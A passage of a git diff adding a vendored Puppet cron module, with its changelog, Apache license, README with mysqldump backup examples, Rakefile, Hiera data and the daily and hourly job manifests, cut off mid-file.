+ gem 'voxpupuli-release', :require => false, :git => 'https://github.com/voxpupuli/voxpupuli-release-gem'
+ gem 'puppet-strings', '~> 1.0', :require => false
+end
+
+
+
+if facterversion = ENV['FACTER_GEM_VERSION']
+ gem 'facter', facterversion.to_s, :require => false, :groups => [:test]
+else
+ gem 'facter', :require => false, :groups => [:test]
+end
+
+ENV['PUPPET_VERSION'].nil? ? puppetversion = '~> 5.0' : puppetversion = ENV['PUPPET_VERSION'].to_s
+gem 'puppet', puppetversion, :require => false, :groups => [:test]
+
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/puppet_module/cron/HISTORY.md b/modules/utilities/unix/puppet_module/cron/HISTORY.md
new file mode 100644
index 000000000..39f37997c
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/HISTORY.md
@@ -0,0 +1,81 @@
+## v1.0.0 (2017-10-14)
+
+ * BREAKING: Require Puppet version >=4.9.1
+ * Added type-hinting to all manifest parameters
+ * Added management of /etc/cron.allow and /etc/cron.deny
+ * Replaced hiera\_hash() with lookup() calls
+ * Replaced params.pp with in-module data (Hiera 5)
+ * Replaced create\_resources with iterators
+ * Replaced anchor pattern with contain
+ * Made the cron::job command attribute optional
+
+## v0.2.1 (2017-07-30)
+
+ * Added support for special time options
+ * Rspec fixes
+
+## v0.2.0 (2016-11-22)
+
+ * BREAKING: Added cron service managment
+ The cron service is now managed by this module and by default the service will be started
+ * Rspec fixes
+
+## v0.1.8 (2016-06-26)
+
+ * Added support for Scientific Linux
+
+## v0.1.7 (2016-06-12)
+
+ * Properly support Gentoo
+ * Documentation fixes
+ * Rspec fixes
+
+## v0.1.6 (2016-04-10)
+
+ * Added description parameters
+
+## v0.1.5 (2016-03-06)
+
+ * Fix release on forge
+
+## v0.1.4 (2016-03-06)
+
+ * Added possibility to add jobs from hiera
+ * Added Debian as supported operating system
+ * Allow declaration of cron class without managing the cron package
+ * Properly detect RHEL 5 based cron packages
+ * Fix puppet-lint warnings
+ * Add more tests
+
+## v0.1.3 (2015-09-20)
+
+ * Support for multiple cron jobs in a single file added (cron::job::multiple)
+ * Make manifest code more readable
+ * Change header in template to fit standard 80 char wide terminals
+ * Extend README.md
+
+## v0.1.2 (2015-08-13)
+
+ * Update to new style of Puppet modules (metadata.json)
+
+## v0.1.1 (2015-07-12)
+
+ * Make module Puppet 4 compatible
+ * Fix Travis CI integration
+
+## v0.1.0 (2013-08-27)
+
+ * Add support for the `ensure` parameter
+
+## v0.0.3 (2013-07-04)
+
+ * Make job files owned by root
+ * Fix warnings for Puppet 3.2.2
+
+## v0.0.2 (2013-05-11)
+
+ * Make mode of job file configurable
+
+## v0.0.1 (2013-03-02)
+
+ * Initial PuppetForge release
diff --git a/modules/utilities/unix/puppet_module/cron/LICENSE b/modules/utilities/unix/puppet_module/cron/LICENSE
new file mode 100644
index 000000000..af74b6f96
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/LICENSE
@@ -0,0 +1,203 @@
+Copyright 2012-2013 Tray Torrance
+
+ Apache License
+ Version 2.0, January 2004
+ http://www.apache.org/licenses/
+
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+ 1. Definitions.
+
+ "License" shall mean the terms and conditions for use, reproduction,
+ and distribution as defined by Sections 1 through 9 of this document.
+
+ "Licensor" shall mean the copyright owner or entity authorized by
+ the copyright owner that is granting the License.
+
+ "Legal Entity" shall mean the union of the acting entity and all
+ other entities that control, are controlled by, or are under common
+ control with that entity. For the purposes of this definition,
+ "control" means (i) the power, direct or indirect, to cause the
+ direction or management of such entity, whether by contract or
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
+ outstanding shares, or (iii) beneficial ownership of such entity.
+
+ "You" (or "Your") shall mean an individual or Legal Entity
+ exercising permissions granted by this License.
+
+ "Source" form shall mean the preferred form for making modifications,
+ including but not limited to software source code, documentation
+ source, and configuration files.
+
+ "Object" form shall mean any form resulting from mechanical
+ transformation or translation of a Source form, including but
+ not limited to compiled object code, generated documentation,
+ and conversions to other media types.
+
+ "Work" shall mean the work of authorship, whether in Source or
+ Object form, made available under the License, as indicated by a
+ copyright notice that is included in or attached to the work
+ (an example is provided in the Appendix below).
+
+ "Derivative Works" shall mean any work, whether in Source or Object
+ form, that is based on (or derived from) the Work and for which the
+ editorial revisions, annotations, elaborations, or other modifications
+ represent, as a whole, an original work of authorship. For the purposes
+ of this License, Derivative Works shall not include works that remain
+ separable from, or merely link (or bind by name) to the interfaces of,
+ the Work and Derivative Works thereof.
+
+ "Contribution" shall mean any work of authorship, including
+ the original version of the Work and any modifications or additions
+ to that Work or Derivative Works thereof, that is intentionally
+ submitted to Licensor for inclusion in the Work by the copyright owner
+ or by an individual or Legal Entity authorized to submit on behalf of
+ the copyright owner. For the purposes of this definition, "submitted"
+ means any form of electronic, verbal, or written communication sent
+ to the Licensor or its representatives, including but not limited to
+ communication on electronic mailing lists, source code control systems,
+ and issue tracking systems that are managed by, or on behalf of, the
+ Licensor for the purpose of discussing and improving the Work, but
+ excluding communication that is conspicuously marked or otherwise
+ designated in writing by the copyright owner as "Not a Contribution."
+
+ "Contributor" shall mean Licensor and any individual or Legal Entity
+ on behalf of whom a Contribution has been received by Licensor and
+ subsequently incorporated within the Work.
+
+ 2. Grant of Copyright License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ copyright license to reproduce, prepare Derivative Works of,
+ publicly display, publicly perform, sublicense, and distribute the
+ Work and such Derivative Works in Source or Object form.
+
+ 3. Grant of Patent License. Subject to the terms and conditions of
+ this License, each Contributor hereby grants to You a perpetual,
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+ (except as stated in this section) patent license to make, have made,
+ use, offer to sell, sell, import, and otherwise transfer the Work,
+ where such license applies only to those patent claims licensable
+ by such Contributor that are necessarily infringed by their
+ Contribution(s) alone or by combination of their Contribution(s)
+ with the Work to which such Contribution(s) was submitted. If You
+ institute patent litigation against any entity (including a
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
+ or a Contribution incorporated within the Work constitutes direct
+ or contributory patent infringement, then any patent licenses
+ granted to You under this License for that Work shall terminate
+ as of the date such litigation is filed.
+
+ 4. Redistribution. You may reproduce and distribute copies of the
+ Work or Derivative Works thereof in any medium, with or without
+ modifications, and in Source or Object form, provided that You
+ meet the following conditions:
+
+ (a) You must give any other recipients of the Work or
+ Derivative Works a copy of this License; and
+
+ (b) You must cause any modified files to carry prominent notices
+ stating that You changed the files; and
+
+ (c) You must retain, in the Source form of any Derivative Works
+ that You distribute, all copyright, patent, trademark, and
+ attribution notices from the Source form of the Work,
+ excluding those notices that do not pertain to any part of
+ the Derivative Works; and
+
+ (d) If the Work includes a "NOTICE" text file as part of its
+ distribution, then any Derivative Works that You distribute must
+ include a readable copy of the attribution notices contained
+ within such NOTICE file, excluding those notices that do not
+ pertain to any part of the Derivative Works, in at least one
+ of the following places: within a NOTICE text file distributed
+ as part of the Derivative Works; within the Source form or
+ documentation, if provided along with the Derivative Works; or,
+ within a display generated by the Derivative Works, if and
+ wherever such third-party notices normally appear. The contents
+ of the NOTICE file are for informational purposes only and
+ do not modify the License. You may add Your own attribution
+ notices within Derivative Works that You distribute, alongside
+ or as an addendum to the NOTICE text from the Work, provided
+ that such additional attribution notices cannot be construed
+ as modifying the License.
+
+ You may add Your own copyright statement to Your modifications and
+ may provide additional or different license terms and conditions
+ for use, reproduction, or distribution of Your modifications, or
+ for any such Derivative Works as a whole, provided Your use,
+ reproduction, and distribution of the Work otherwise complies with
+ the conditions stated in this License.
+
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
+ any Contribution intentionally submitted for inclusion in the Work
+ by You to the Licensor shall be under the terms and conditions of
+ this License, without any additional terms or conditions.
+ Notwithstanding the above, nothing herein shall supersede or modify
+ the terms of any separate license agreement you may have executed
+ with Licensor regarding such Contributions.
+
+ 6. Trademarks. This License does not grant permission to use the trade
+ names, trademarks, service marks, or product names of the Licensor,
+ except as required for reasonable and customary use in describing the
+ origin of the Work and reproducing the content of the NOTICE file.
+
+ 7. Disclaimer of Warranty. Unless required by applicable law or
+ agreed to in writing, Licensor provides the Work (and each
+ Contributor provides its Contributions) on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+ implied, including, without limitation, any warranties or conditions
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+ PARTICULAR PURPOSE. You are solely responsible for determining the
+ appropriateness of using or redistributing the Work and assume any
+ risks associated with Your exercise of permissions under this License.
+
+ 8. Limitation of Liability. In no event and under no legal theory,
+ whether in tort (including negligence), contract, or otherwise,
+ unless required by applicable law (such as deliberate and grossly
+ negligent acts) or agreed to in writing, shall any Contributor be
+ liable to You for damages, including any direct, indirect, special,
+ incidental, or consequential damages of any character arising as a
+ result of this License or out of the use or inability to use the
+ Work (including but not limited to damages for loss of goodwill,
+ work stoppage, computer failure or malfunction, or any and all
+ other commercial damages or losses), even if such Contributor
+ has been advised of the possibility of such damages.
+
+ 9. Accepting Warranty or Additional Liability. While redistributing
+ the Work or Derivative Works thereof, You may choose to offer,
+ and charge a fee for, acceptance of support, warranty, indemnity,
+ or other liability obligations and/or rights consistent with this
+ License. However, in accepting such obligations, You may act only
+ on Your own behalf and on Your sole responsibility, not on behalf
+ of any other Contributor, and only if You agree to indemnify,
+ defend, and hold each Contributor harmless for any liability
+ incurred by, or claims asserted against, such Contributor by reason
+ of your accepting any such warranty or additional liability.
+
+ END OF TERMS AND CONDITIONS
+
+ APPENDIX: How to apply the Apache License to your work.
+
+ To apply the Apache License to your work, attach the following
+ boilerplate notice, with the fields enclosed by brackets "[]"
+ replaced with your own identifying information. (Don't include
+ the brackets!) The text should be enclosed in the appropriate
+ comment syntax for the file format. We also recommend that a
+ file or class name and description of purpose be included on the
+ same "printed page" as the copyright notice for easier
+ identification within third-party archives.
+
+ Copyright [yyyy] [name of copyright owner]
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/modules/utilities/unix/puppet_module/cron/README.md b/modules/utilities/unix/puppet_module/cron/README.md
new file mode 100644
index 000000000..e8dab6e0f
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/README.md
@@ -0,0 +1,396 @@
+# Puppet Cron Module
+
+[](https://github.com/voxpupuli/puppet-cron/blob/master/LICENSE)
+[](https://travis-ci.org/voxpupuli/puppet-cron)
+[](https://forge.puppetlabs.com/puppet/cron)
+[](https://forge.puppetlabs.com/puppet/cron)
+[](https://forge.puppetlabs.com/puppet/cron)
+
+## Notes
+
+This module manages cronjobs by placing files in `/etc/cron.d`.
+rmueller-cron was a detached fork of [torrancew/puppet-cron](https://github.com/torrancew/puppet-cron)
+After v1.0.0, the module was migrated to Vox Pupuli where it is now maintained and released under the [puppet](https://forge.puppet.com/puppet) namespace.
+
+The current version (starting with v1.0.0) of this module requires Puppet 4.9.1 or greater.
+If you are using an older version of Puppet you can pin the version to v0.2.1 which was still compatible with much older Puppet versions.
+You can browse the documentation of that version in the v0.2.x branch [here](https://github.com/voxpupuli/puppet-cron/tree/v0.2.x).
+
+This module supports configuration of cronjobs via Hiera as well.
+For that you need to declare the `cron` class.
+
+This module defines the following types:
+
+ * `cron::job` - basic job resource
+ * `cron::job::multiple` - basic job resource for multiple jobs per file
+ * `cron::hourly` - wrapper for hourly jobs
+ * `cron::daily` - wrapper for daily jobs
+ * `cron::weekly` - wrapper for weekly jobs
+ * `cron::monthly` - wrapper for monthly jobs
+
+## Installation
+
+As usual use `puppet module install puppet-cron` to install it.
+
+## Usage
+
+The title of the job (e.g. `cron::job { 'title':`) is completely arbitrary. However, there can only be one cron job by that name.
+The file in `/etc/cron.d/` will be created with the `$title` as the file name.
+Keep that in mind when choosing the name to avoid overwriting existing system cronjobs and use characters that don't cause problems when used in filenames.
+
+### cron
+
+If you want the class to automatically install the correct cron package you can declare the `cron` class. By default it will then install the right package.
+If you want to use Hiera to configure your cronjobs, you must declare the `cron` class.
+
+You can disable the management of the cron package by setting the `manage_package` parameter to `false`.
+
+You can also specify a different cron package name via `package_name`.
+By default we try to select the right one for your distribution.
+But in some cases (e.g. Gentoo) you might want to overwrite it here.
+
+This class allows specifying the following parameter:
+
+ * `manage_package` - optional - defaults to "true"
+ * `package_ensure` - optional - defaults to "installed"
+ * `package_name` - optional - defaults to OS specific default package name
+ * `service_name` - optional - defaults to OS specific default service name
+ * `manage_service` - optional - defaults to "true"
+ * `service_enable` - optional - defaults to "true"
+ * `service_ensure` - optional - defaults to "running"
+ * `manage_users_allow` - optional - defaults to false, whether to manage `/etc/cron.allow`
+ * `manage_users_deny` - optional - defaults to false, whether to manage `/etc/cron.deny`
+ * `users_allow` - optional - An array of users to add to `/etc/cron.allow`
+ * `users_deny` - optional - An array of users to add to `/etc/cron.deny`
+
+
+Examples:
+
+```puppet
+ include cron
+```
+
+or:
+
+```puppet
+ class { 'cron':
+ manage_package => false,
+ }
+```
+
+
+### cron::job
+
+`cron::job` creates generic jobs in `/etc/cron.d`.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "\*"
+ * `hour` - optional - defaults to "\*"
+ * `date` - optional - defaults to "\*"
+ * `month` - optional - defaults to "\*"
+ * `weekday` - optional - defaults to "\*"
+ * `special` - optional - defaults to undef
+ * `user` - optional - defaults to "root"
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+ * `description` - optional - defaults to undef
+
+Example:
+This would create the file `/etc/cron.d/mysqlbackup` and run the command `mysqldump -u root mydb` as root at 2:40 AM every day:
+
+```puppet
+ cron::job { 'mysqlbackup':
+ minute => '40',
+ hour => '2',
+ date => '*',
+ month => '*',
+ weekday => '*',
+ user => 'root',
+ command => 'mysqldump -u root mydb',
+ environment => [ 'MAILTO=root', 'PATH="/usr/bin:/bin"', ],
+ description => 'Mysql backup',
+ }
+```
+
+Hiera example:
+
+```yaml
+---
+cron::job:
+ 'mysqlbackup':
+ command: 'mysqldump -u root mydb'
+ minute: 0
+ hour: 0
+ date: '*'
+ month: '*'
+ weekday: '*'
+ user: root
+ environment:
+ - 'MAILTO=root'
+ - 'PATH="/usr/bin:/bin"'
+ description: 'Mysql backup'
+```
+
+### cron::job::multiple
+
+`cron:job::multiple` creates a file in `/etc/cron.d` with multiple cron jobs configured in it.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `jobs` - required - an array of hashes of multiple cron jobs using a similar structure as `cron::job`-parameters
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+
+And the keys of the jobs hash are:
+
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "\*"
+ * `hour` - optional - defaults to "\*"
+ * `date` - optional - defaults to "\*"
+ * `month` - optional - defaults to "\*"
+ * `weekday` - optional - defaults to "\*"
+ * `special` - optional - defaults to undef
+ * `user` - optional - defaults to "root"
+ * `description` - optional - defaults to undef
+
+Example:
+
+```puppet
+cron::job::multiple { 'test_cron_job_multiple':
+ jobs => [
+ {
+ minute => '55',
+ hour => '5',
+ date => '*',
+ month => '*',
+ weekday => '*',
+ user => 'rmueller',
+ command => '/usr/bin/uname',
+ description => 'print system information',
+ },
+ {
+ command => '/usr/bin/sleep 1',
+ description => 'Sleeping',
+ },
+ {
+ command => '/usr/bin/sleep 10',
+ special => 'reboot',
+ },
+ ],
+ environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ],
+}
+
+```
+
+Hiera example:
+
+```yaml
+---
+cron::job::multiple:
+ 'test_cron_job_multiple':
+ jobs:
+ - {
+ minute: 55,
+ hour: 5,
+ date: '*',
+ month: '*',
+ weekday: '*',
+ user: rmueller,
+ command: '/usr/bin/uname',
+ description: 'print system information',
+ }
+ - {
+ command: '/usr/bin/sleep 1',
+ description: 'Sleeping',
+ }
+ - {
+ command: '/usr/bin/sleep 10',
+ special: 'reboot',
+ }
+
+ environment:
+ - 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"'
+```
+
+That will generate the file `/etc/cron.d/test_cron_job_multiple` with essentially this content:
+
+```
+PATH="/usr/sbin:/usr/bin:/sbin:/bin"
+
+55 5 * * * rmueller /usr/bin/uname
+* * * * * root /usr/bin/sleep 1
+@reboot root /usr/bin/sleep 10
+```
+
+### cron::hourly
+
+`cron::hourly` creates jobs in `/etc/cron.d` that run once per hour.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "0"
+ * `user` - optional - defaults to "root"
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+ * `description` - optional - defaults to undef
+
+Example:
+This would create the file `/etc/cron.d/mysqlbackup_hourly` and run the command `mysqldump -u root mydb` as root on the 20th minute of every hour:
+
+```puppet
+ cron::hourly { 'mysqlbackup_hourly':
+ minute => '20',
+ user => 'root',
+ command => 'mysqldump -u root mydb',
+ environment => [ 'MAILTO=root', 'PATH="/usr/bin:/bin"', ],
+ }
+```
+
+Hiera example:
+
+```yaml
+---
+cron::hourly:
+ 'mysqlbackup_hourly':
+ minute: 20
+ user: root
+ command: 'mysqldump -u root mydb'
+ environment:
+ - 'MAILTO=root'
+ - 'PATH="/usr/bin:/bin"'
+```
+
+### cron::daily
+
+`cron::daily` creates jobs in `/etc/cron.d` that run once per day.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "0"
+ * `hour` - optional - defaults to "0"
+ * `user` - optional - defaults to "root"
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+ * `description` - optional - defaults to undef
+
+Example:
+This would create the file `/etc/cron.d/mysqlbackup_daily` and run the command `mysqldump -u root mydb` as root at 2:40 AM every day, like the above generic example:
+
+```puppet
+ cron::daily { 'mysqlbackup_daily':
+ minute => '40',
+ hour => '2',
+ user => 'root',
+ command => 'mysqldump -u root mydb',
+ }
+```
+
+Hiera example:
+
+```yaml
+---
+cron::daily:
+ 'mysqlbackup_daily':
+ minute: 40
+ hour: 2
+ user: root
+ command: 'mysqldump -u root mydb'
+```
+
+
+### cron::weekly
+
+`cron::weekly` creates jobs in `/etc/cron.d` that run once per week.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "0"
+ * `hour` - optional - defaults to "0"
+ * `weekday` - optional - defaults to "0"
+ * `user` - optional - defaults to "root"
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+ * `description` - optional - defaults to undef
+
+Example:
+This would create the file `/etc/cron.d/mysqlbackup_weekly` and run the command `mysqldump -u root mydb` as root at 4:40 AM every Sunday, like the above generic example:
+
+```puppet
+ cron::weekly { 'mysqlbackup_weekly':
+ minute => '40',
+ hour => '4',
+ weekday => '0',
+ user => 'root',
+ command => 'mysqldump -u root mydb',
+ }
+```
+
+Hiera example:
+
+```yaml
+---
+cron::weekly:
+ 'mysqlbackup_weekly':
+ minute: 40
+ hour: 4
+ weekday: 0
+ user: root
+ command: 'mysqldump -u root mydb'
+```
+
+
+### cron::monthly
+
+`cron::monthly` creates jobs in `/etc/cron.d` that run once per month.
+It allows specifying the following parameters:
+
+ * `ensure` - optional - defaults to "present"
+ * `command` - required - the command to execute
+ * `minute` - optional - defaults to "0"
+ * `hour` - optional - defaults to "0"
+ * `date` - optional - defaults to "1"
+ * `user` - optional - defaults to "root"
+ * `environment` - optional - defaults to ""
+ * `mode` - optional - defaults to "0644"
+ * `description` - optional - defaults to undef
+
+Example:
+This would create the file `/etc/cron.d/mysqlbackup_monthly` and run the command `mysqldump -u root mydb` as root at 3:40 AM the 1st of every month, like the above generic example:
+
+```puppet
+ cron::monthly { 'mysqlbackup_monthly':
+ minute => '40',
+ hour => '3',
+ date => '1',
+ user => 'root',
+ command => 'mysqldump -u root mydb',
+ }
+```
+
+Hiera example:
+
+```yaml
+---
+cron::monthly:
+ 'mysqlbackup_monthly':
+ minute: 40
+ hour: 3
+ date: 1
+ user: root
+ command: 'mysqldump -u root mydb'
+```
+
+
+## Contributors
+
+ * Kevin Goess (@kgoess) - Environment variable support + fixes
+ * Andy Shinn (@andyshinn) - RedHat derivatives package name fix
+ * Chris Weyl (@RsrchBoy) - Fixed Puppet 3.2 deprecation warnings
+ * Mathew Archibald (@mattyindustries) - Fixed file ownership issues
+ * The Community - Continued improvement of this module via bugs and patches
+
diff --git a/modules/utilities/unix/puppet_module/cron/Rakefile b/modules/utilities/unix/puppet_module/cron/Rakefile
new file mode 100644
index 000000000..279580ac6
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/Rakefile
@@ -0,0 +1,92 @@
+require 'puppetlabs_spec_helper/rake_tasks'
+
+# load optional tasks for releases
+# only available if gem group releases is installed
+begin
+ require 'puppet_blacksmith/rake_tasks'
+ require 'voxpupuli/release/rake_tasks'
+ require 'puppet-strings/tasks'
+rescue LoadError
+end
+
+PuppetLint.configuration.log_format = '%{path}:%{line}:%{check}:%{KIND}:%{message}'
+PuppetLint.configuration.fail_on_warnings = true
+PuppetLint.configuration.send('relative')
+PuppetLint.configuration.send('disable_140chars')
+PuppetLint.configuration.send('disable_class_inherits_from_params_class')
+PuppetLint.configuration.send('disable_documentation')
+PuppetLint.configuration.send('disable_single_quote_string_with_variables')
+
+exclude_paths = %w(
+ pkg/**/*
+ vendor/**/*
+ .vendor/**/*
+ spec/**/*
+)
+PuppetLint.configuration.ignore_paths = exclude_paths
+PuppetSyntax.exclude_paths = exclude_paths
+
+desc 'Auto-correct puppet-lint offenses'
+task 'lint:auto_correct' do
+ PuppetLint.configuration.fix = true
+ Rake::Task[:lint].invoke
+end
+
+desc 'Run acceptance tests'
+RSpec::Core::RakeTask.new(:acceptance) do |t|
+ t.pattern = 'spec/acceptance'
+end
+
+desc 'Run tests metadata_lint, release_checks'
+task test: [
+ :metadata_lint,
+ :release_checks,
+]
+
+desc "Run main 'test' task and report merged results to coveralls"
+task test_with_coveralls: [:test] do
+ if Dir.exist?(File.expand_path('../lib', __FILE__))
+ require 'coveralls/rake/task'
+ Coveralls::RakeTask.new
+ Rake::Task['coveralls:push'].invoke
+ else
+ puts 'Skipping reporting to coveralls. Module has no lib dir'
+ end
+end
+
+desc "Print supported beaker sets"
+task 'beaker_sets', [:directory] do |t, args|
+ directory = args[:directory]
+
+ metadata = JSON.load(File.read('metadata.json'))
+
+ (metadata['operatingsystem_support'] || []).each do |os|
+ (os['operatingsystemrelease'] || []).each do |release|
+ if directory
+ beaker_set = "#{directory}/#{os['operatingsystem'].downcase}-#{release}"
+ else
+ beaker_set = "#{os['operatingsystem'].downcase}-#{release}-x64"
+ end
+
+ filename = "spec/acceptance/nodesets/#{beaker_set}.yml"
+
+ puts beaker_set if File.exists? filename
+ end
+ end
+end
+
+begin
+ require 'github_changelog_generator/task'
+ GitHubChangelogGenerator::RakeTask.new :changelog do |config|
+ version = (Blacksmith::Modulefile.new).version
+ config.future_release = "v#{version}" if version =~ /^\d+\.\d+.\d+$/
+ config.header = "# Changelog\n\nAll notable changes to this project will be documented in this file.\nEach new release typically also includes the latest modulesync defaults.\nThese should not affect the functionality of the module."
+ config.exclude_labels = %w{duplicate question invalid wontfix wont-fix modulesync skip-changelog}
+ config.user = 'voxpupuli'
+ metadata_json = File.join(File.dirname(__FILE__), 'metadata.json')
+ metadata = JSON.load(File.read(metadata_json))
+ config.project = metadata['name']
+ end
+rescue LoadError
+end
+# vim: syntax=ruby
diff --git a/modules/utilities/unix/puppet_module/cron/cron.pp b/modules/utilities/unix/puppet_module/cron/cron.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/utilities/unix/puppet_module/cron/data/common.yaml b/modules/utilities/unix/puppet_module/cron/data/common.yaml
new file mode 100644
index 000000000..cf59651e4
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/data/common.yaml
@@ -0,0 +1,10 @@
+---
+
+cron::package_name: cron
+cron::service_name: cron
+
+lookup_options:
+ cron::users_allow:
+ merge: unique
+ cron::users_deny:
+ merge: unique
diff --git a/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml b/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml
new file mode 100644
index 000000000..80010eaf5
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/data/os/Gentoo.yaml
@@ -0,0 +1,2 @@
+---
+cron::package_name: virtual/cron
diff --git a/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml b/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml
new file mode 100644
index 000000000..85493cf61
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/data/os/RedHat.yaml
@@ -0,0 +1,3 @@
+---
+cron::package_name: cronie
+cron::service_name: crond
diff --git a/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml b/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml
new file mode 100644
index 000000000..84e702091
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/data/os/RedHat/5.yaml
@@ -0,0 +1,3 @@
+---
+cron::package_name: vixie-cron
+
diff --git a/modules/utilities/unix/puppet_module/cron/hiera.yaml b/modules/utilities/unix/puppet_module/cron/hiera.yaml
new file mode 100644
index 000000000..6ac3db59b
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/hiera.yaml
@@ -0,0 +1,14 @@
+---
+version: 5
+defaults:
+ datadir: data
+ data_hash: yaml_data
+hierarchy:
+
+ - name: "Operating system"
+ paths:
+ - "os/%{facts.os.family}/%{facts.os.release.major}.yaml"
+ - "os/%{facts.os.family}.yaml"
+
+ - name: "common"
+ path: "common.yaml"
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/.gitkeep b/modules/utilities/unix/puppet_module/cron/manifests/.gitkeep
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/daily.pp b/modules/utilities/unix/puppet_module/cron/manifests/daily.pp
new file mode 100644
index 000000000..43207e266
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/daily.pp
@@ -0,0 +1,63 @@
+# Type: cron::daily
+#
+# This type creates a daily cron job via a file in /etc/cron.d
+#
+# Parameters:
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# minute - The minute the cron job should fire on. Can be any valid cron
+# minute value.
+# Defaults to '0'.
+# hour - The hour the cron job should fire on. Can be any valid cron hour
+# value.
+# Defaults to '0'.
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# user - The user the cron job should be executed as.
+# Defaults to 'root'.
+# mode - The mode to set on the created job file
+# Defaults to 0644.
+# description - Optional short description, which will be included in the
+# cron job file.
+# Defaults to undef.
+# command - The command to execute.
+#
+# Actions:
+#
+# Requires:
+#
+# Sample Usage:
+# cron::daily { 'mysql_backup':
+# minute => '1',
+# hour => '3',
+# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ],
+# command => 'mysqldump -u root my_db >/backups/my_db.sql',
+# }
+#
+define cron::daily (
+ Optional[String[1]] $command = undef,
+ Enum['absent','present'] $ensure = 'present',
+ Variant[Integer,String[1]] $minute = 0,
+ Variant[Integer,String[1]] $hour = 0,
+ Array[String] $environment = [],
+ String[1] $user = 'root',
+ String[4,4] $mode = '0644',
+ Optional[String] $description = undef,
+) {
+
+ cron::job { $title:
+ ensure => $ensure,
+ minute => $minute,
+ hour => $hour,
+ date => '*',
+ month => '*',
+ weekday => '*',
+ user => $user,
+ environment => $environment,
+ mode => $mode,
+ command => $command,
+ description => $description,
+ }
+
+}
+
diff --git a/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp b/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp
new file mode 100644
index 000000000..66d97b402
--- /dev/null
+++ b/modules/utilities/unix/puppet_module/cron/manifests/hourly.pp
@@ -0,0 +1,58 @@
+# Type: cron::hourly
+#
+# This type creates an hourly cron job via a file in /etc/cron.d
+#
+# Parameters:
+# ensure - The state to ensure this resource exists in. Can be absent, present
+# Defaults to 'present'
+# minute - The minute the cron job should fire on. Can be any valid cron
+# minute value.
+# Defaults to '0'.
+# environment - An array of environment variable settings.
+# Defaults to an empty set ([]).
+# mode - The mode to set on the created job file.
+# Defaults to 0644.
+# user - The user the cron job should be executed as.
+# Defaults to 'root'.
+# description - Optional short description, which will be included in the
+# cron job file.
+# Defaults to undef.
+# command - The command to execute.
+#
+# Actions:
+#
+# Requires:
+#
+# Sample Usage:
+# cron::hourly { 'generate_puppetdoc':
+# minute => '1',
+# environment => [ 'PATH="/usr/sbin:/usr/bin:/sbin:/bin"' ],
+# command => 'puppet doc >/var/www/puppet_docs.mkd',
+# }
+#
+define cron::hourly (
+ Optional[String[1]] $command = undef,
+ Enum['absent','present'] $ensure = 'present',
+ Variant[Integer,String[1]] $minute = 0,
+ Array[String] $environment = [],
+ String[1] $user = 'root',
+ String[4,4] $mode = '0644',
+ Optional[String] $description = undef,
+) {
+
+ cron::job { $title:
+ ensure => $ensure,
+ minute => $minute,
+ hour => '*',
+ date => '*',
+ month => '*',
+ weekday => '*',
+ user => $user,
+ environment => $environment,
+ mode => $mode,
